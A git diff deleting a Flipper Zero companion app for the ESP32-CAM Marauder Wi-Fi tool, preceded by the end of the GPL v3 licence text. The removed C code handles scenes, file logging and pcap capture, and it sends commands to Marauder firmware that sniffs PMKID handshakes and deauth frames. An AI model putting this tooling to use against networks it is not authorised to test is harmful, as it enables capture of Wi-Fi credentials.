-(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/applications/external/esp32cam_marauder_companion/application.fam b/applications/external/esp32cam_marauder_companion/application.fam deleted file mode 100644 index 87e30c040..000000000 --- a/applications/external/esp32cam_marauder_companion/application.fam +++ /dev/null @@ -1,13 +0,0 @@ -App( - appid="mayhem_marauder", - name="[MAYHEM] Marauder", - fap_version=(6, 0), - apptype=FlipperAppType.EXTERNAL, - entry_point="wifi_marauder_app", - requires=["gui"], - stack_size=4 * 1024, - fap_icon="wifi_10px.png", - fap_category="GPIO", - fap_icon_assets="assets", - fap_description="ESP32-CAM version of Marauder. Includes all functionality from the original plus some options to trigger the camera and flashlight. [Unplug the USB cable to test with Mayhem]", -) diff --git a/applications/external/esp32cam_marauder_companion/assets/Text_10x10.png b/applications/external/esp32cam_marauder_companion/assets/Text_10x10.png deleted file mode 100644 index 8e8a6183d..000000000 Binary files a/applications/external/esp32cam_marauder_companion/assets/Text_10x10.png and /dev/null differ diff --git a/applications/external/esp32cam_marauder_companion/file/sequential_file.c b/applications/external/esp32cam_marauder_companion/file/sequential_file.c deleted file mode 100644 index d780deb12..000000000 --- a/applications/external/esp32cam_marauder_companion/file/sequential_file.c +++ /dev/null @@ -1,46 +0,0 @@ -#include "sequential_file.h" - -char* sequential_file_resolve_path( - Storage* storage, - const char* dir, - const char* prefix, - const char* extension) { - if(storage == NULL || dir == NULL || prefix == NULL || extension == NULL) { - return NULL; - } - - char file_path[256]; - int file_index = 0; - - do { - if(snprintf( - file_path, sizeof(file_path), "%s/%s_%d.%s", dir, prefix, file_index, extension) < - 0) { - return NULL; - } - file_index++; - } while(storage_file_exists(storage, file_path)); - - return strdup(file_path); -} - -bool sequential_file_open( - Storage* storage, - File* file, - const char* dir, - const char* prefix, - const char* extension) { - if(storage == NULL || file == NULL || dir == NULL || prefix == NULL || extension == NULL) { - return false; - } - - char* file_path = sequential_file_resolve_path(storage, dir, prefix, extension); - if(file_path == NULL) { - return false; - } - - bool success = storage_file_open(file, file_path, FSAM_WRITE, FSOM_CREATE_ALWAYS); - free(file_path); - - return success; -} \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/file/sequential_file.h b/applications/external/esp32cam_marauder_companion/file/sequential_file.h deleted file mode 100644 index 4fd4794c2..000000000 --- a/applications/external/esp32cam_marauder_companion/file/sequential_file.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include - -char* sequential_file_resolve_path( - Storage* storage, - const char* dir, - const char* prefix, - const char* extension); -bool sequential_file_open( - Storage* storage, - File* file, - const char* dir, - const char* prefix, - const char* extension); \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene.c b/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene.c deleted file mode 100644 index b992cb10a..000000000 --- a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "wifi_marauder_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const wifi_marauder_scene_on_enter_handlers[])(void*) = { -#include "wifi_marauder_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const wifi_marauder_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "wifi_marauder_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const wifi_marauder_scene_on_exit_handlers[])(void* context) = { -#include "wifi_marauder_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers wifi_marauder_scene_handlers = { - .on_enter_handlers = wifi_marauder_scene_on_enter_handlers, - .on_event_handlers = wifi_marauder_scene_on_event_handlers, - .on_exit_handlers = wifi_marauder_scene_on_exit_handlers, - .scene_num = WifiMarauderSceneNum, -}; diff --git a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene.h b/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene.h deleted file mode 100644 index 739e30d07..000000000 --- a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) WifiMarauderScene##id, -typedef enum { -#include "wifi_marauder_scene_config.h" - WifiMarauderSceneNum, -} WifiMarauderScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers wifi_marauder_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "wifi_marauder_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "wifi_marauder_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "wifi_marauder_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_config.h b/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_config.h deleted file mode 100644 index d223af79a..000000000 --- a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_config.h +++ /dev/null @@ -1,15 +0,0 @@ -ADD_SCENE(wifi_marauder, start, Start) -ADD_SCENE(wifi_marauder, console_output, ConsoleOutput) -ADD_SCENE(wifi_marauder, text_input, TextInput) -ADD_SCENE(wifi_marauder, settings_init, SettingsInit) -ADD_SCENE(wifi_marauder, log_viewer, LogViewer) -ADD_SCENE(wifi_marauder, user_input, UserInput) -ADD_SCENE(wifi_marauder, script_select, ScriptSelect) -ADD_SCENE(wifi_marauder, script_options, ScriptOptions) -ADD_SCENE(wifi_marauder, script_edit, ScriptEdit) -ADD_SCENE(wifi_marauder, script_settings, ScriptSettings) -ADD_SCENE(wifi_marauder, script_confirm_delete, ScriptConfirmDelete) -ADD_SCENE(wifi_marauder, script_stage_edit, ScriptStageEdit) -ADD_SCENE(wifi_marauder, script_stage_add, ScriptStageAdd) -ADD_SCENE(wifi_marauder, script_stage_edit_list, ScriptStageEditList) -ADD_SCENE(wifi_marauder, sniffpmkid_options, SniffPmkidOptions) diff --git a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_console_output.c b/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_console_output.c deleted file mode 100644 index 05d94fe80..000000000 --- a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_console_output.c +++ /dev/null @@ -1,202 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -char* _wifi_marauder_get_prefix_from_cmd(const char* command) { - int end = strcspn(command, " "); - char* prefix = (char*)malloc(sizeof(char) * (end + 1)); - strncpy(prefix, command, end); - prefix[end] = '\0'; - return prefix; -} - -bool _wifi_marauder_is_save_pcaps_enabled(WifiMarauderApp* app) { - if(!app->ok_to_save_pcaps) { - return false; - } - // If it is a script that contains a sniff function - if(app->script != NULL) { - return wifi_marauder_script_has_stage(app->script, WifiMarauderScriptStageTypeSniffRaw) || - wifi_marauder_script_has_stage( - app->script, WifiMarauderScriptStageTypeSniffBeacon) || - wifi_marauder_script_has_stage( - app->script, WifiMarauderScriptStageTypeSniffDeauth) || - wifi_marauder_script_has_stage(app->script, WifiMarauderScriptStageTypeSniffEsp) || - wifi_marauder_script_has_stage( - app->script, WifiMarauderScriptStageTypeSniffPmkid) || - wifi_marauder_script_has_stage(app->script, WifiMarauderScriptStageTypeSniffPwn); - } - // If it is a sniff function - return app->is_command && app->selected_tx_string && - strncmp("sniff", app->selected_tx_string, strlen("sniff")) == 0; -} - -void wifi_marauder_console_output_handle_rx_data_cb(uint8_t* buf, size_t len, void* context) { - furi_assert(context); - WifiMarauderApp* app = context; - - if(app->is_writing_log) { - app->has_saved_logs_this_session = true; - storage_file_write(app->log_file, buf, len); - } - - // If text box store gets too big, then truncate it - app->text_box_store_strlen += len; - if(app->text_box_store_strlen >= WIFI_MARAUDER_TEXT_BOX_STORE_SIZE - 1) { - furi_string_right(app->text_box_store, app->text_box_store_strlen / 2); - app->text_box_store_strlen = furi_string_size(app->text_box_store) + len; - } - - // Null-terminate buf and append to text box store - buf[len] = '\0'; - furi_string_cat_printf(app->text_box_store, "%s", buf); - view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventRefreshConsoleOutput); -} - -void wifi_marauder_console_output_handle_rx_packets_cb(uint8_t* buf, size_t len, void* context) { - furi_assert(context); - WifiMarauderApp* app = context; - - if(app->is_writing_pcap) { - storage_file_write(app->capture_file, buf, len); - } -} - -void wifi_marauder_scene_console_output_on_enter(void* context) { - WifiMarauderApp* app = context; - - // Reset text box and set font - TextBox* text_box = app->text_box; - text_box_reset(text_box); - text_box_set_font(text_box, TextBoxFontText); - - // Set focus on start or end - if(app->focus_console_start) { - text_box_set_focus(text_box, TextBoxFocusStart); - } else { - text_box_set_focus(text_box, TextBoxFocusEnd); - } - - // Set command-related messages - if(app->is_command) { - furi_string_reset(app->text_box_store); - app->text_box_store_strlen = 0; - // Help message - if(0 == strncmp("help", app->selected_tx_string, strlen("help"))) { - const char* help_msg = "Marauder companion " WIFI_MARAUDER_APP_VERSION "\n"; - furi_string_cat_str(app->text_box_store, help_msg); - app->text_box_store_strlen += strlen(help_msg); - } - // Stopscan message - if(app->show_stopscan_tip) { - const char* help_msg = "Press BACK to send stopscan\n"; - furi_string_cat_str(app->text_box_store, help_msg); - app->text_box_store_strlen += strlen(help_msg); - } - } - - // Set starting text - text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store)); - - // Set scene state and switch view - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneConsoleOutput, 0); - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewConsoleOutput); - - // Register callbacks to receive data - wifi_marauder_uart_set_handle_rx_data_cb( - app->uart, - wifi_marauder_console_output_handle_rx_data_cb); // setup callback for general log rx thread - wifi_marauder_uart_set_handle_rx_data_cb( - app->lp_uart, - wifi_marauder_console_output_handle_rx_packets_cb); // setup callback for packets rx thread - - // Get ready to send command - if((app->is_command && app->selected_tx_string) || app->script) { - const char* prefix = - strlen(app->selected_tx_string) > 0 ? - _wifi_marauder_get_prefix_from_cmd(app->selected_tx_string) : // Function name - app->script->name; // Script name - - // Create files *before* sending command - // (it takes time to iterate through the directory) - if(app->ok_to_save_logs) { - strcpy( - app->log_file_path, - sequential_file_resolve_path( - app->storage, MARAUDER_APP_FOLDER_LOGS, prefix, "log")); - if(app->log_file_path != NULL) { - if(storage_file_open( - app->log_file, app->log_file_path, FSAM_WRITE, FSOM_CREATE_ALWAYS)) { - app->is_writing_log = true; - } else { - dialog_message_show_storage_error(app->dialogs, "Cannot open log file"); - } - } else { - dialog_message_show_storage_error(app->dialogs, "Cannot resolve log path"); - } - } - - // If it is a sniff function or script, open the pcap file for recording - if(_wifi_marauder_is_save_pcaps_enabled(app)) { - if(sequential_file_open( - app->storage, app->capture_file, MARAUDER_APP_FOLDER_PCAPS, prefix, "pcap")) { - app->is_writing_pcap = true; - } else { - dialog_message_show_storage_error(app->dialogs, "Cannot open pcap file"); - } - } - - // Send command with newline '\n' - if(app->selected_tx_string) { - wifi_marauder_uart_tx( - (uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string)); - wifi_marauder_uart_tx((uint8_t*)("\n"), 1); - } - - // Run the script if the file with the script has been opened - if(app->script != NULL) { - app->script_worker = wifi_marauder_script_worker_alloc(); - wifi_marauder_script_worker_start(app->script_worker, app->script); - } - } -} - -bool wifi_marauder_scene_console_output_on_event(void* context, SceneManagerEvent event) { - WifiMarauderApp* app = context; - - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store)); - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - consumed = true; - } - - return consumed; -} - -void wifi_marauder_scene_console_output_on_exit(void* context) { - WifiMarauderApp* app = context; - - // Automatically stop the scan when exiting view - if(app->is_command) { - wifi_marauder_uart_tx((uint8_t*)("stopscan\n"), strlen("stopscan\n")); - furi_delay_ms(50); - } - - // Unregister rx callback - wifi_marauder_uart_set_handle_rx_data_cb(app->uart, NULL); - 